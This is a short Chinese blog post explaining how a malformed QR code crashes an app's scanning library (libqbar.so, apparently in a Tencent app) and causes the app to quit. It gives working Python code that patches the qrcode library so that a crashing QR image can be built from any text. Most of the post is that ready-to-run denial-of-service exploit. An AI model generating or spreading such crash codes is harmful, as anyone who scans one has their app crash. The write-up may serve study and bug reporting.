null

畸形二维码导致 APP 扫码模块崩溃

简单来说,APP 在扫描畸形二维码时,由于畸形二维码内的错误数据块导致 libqbar.so 崩溃,进而导致软件闪退。

构造畸形二维码样本时需要注意的要点:

  • 数据块内不可以出现 Padding Pattern
  • 最后一个 block 的内容为空,但是 Character Count Indicator 不为 0

附上复现用的代码,可根据任意文本内容构造畸形二维码:

import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE

NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]

def tencent_crash_qrcode(message: str, filename='crash.png'):

def hack_put(self, num, length):
if num == 0:
num = 1
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)

data = message.encode('utf-8')
data_len = len(data)

version = 1
while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
version += 1
if version > len(NUM_BLOCKS):
raise Exception('message too long')

data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)

print(data_len, version)
qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)

comm_data = QRData(data, MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

qr.add_data(comm_data, 0)
qr.add_data(hack_data, 0)

original_put = qrcode.util.BitBuffer.put
qrcode.util.BitBuffer.put = hack_put
qr.make_image().save(filename)
qrcode.util.BitBuffer.put = original_put

tencent_crash_qrcode('KFCVW50')

最后,附上一个通过脚本生成的畸形二维码。

crash

本文参考了 @GZTime 同学的 复现脚本

支持一下
资助 Nano 让 Nano 吃得更胖!
  • 微信扫一扫
  • 支付宝扫一扫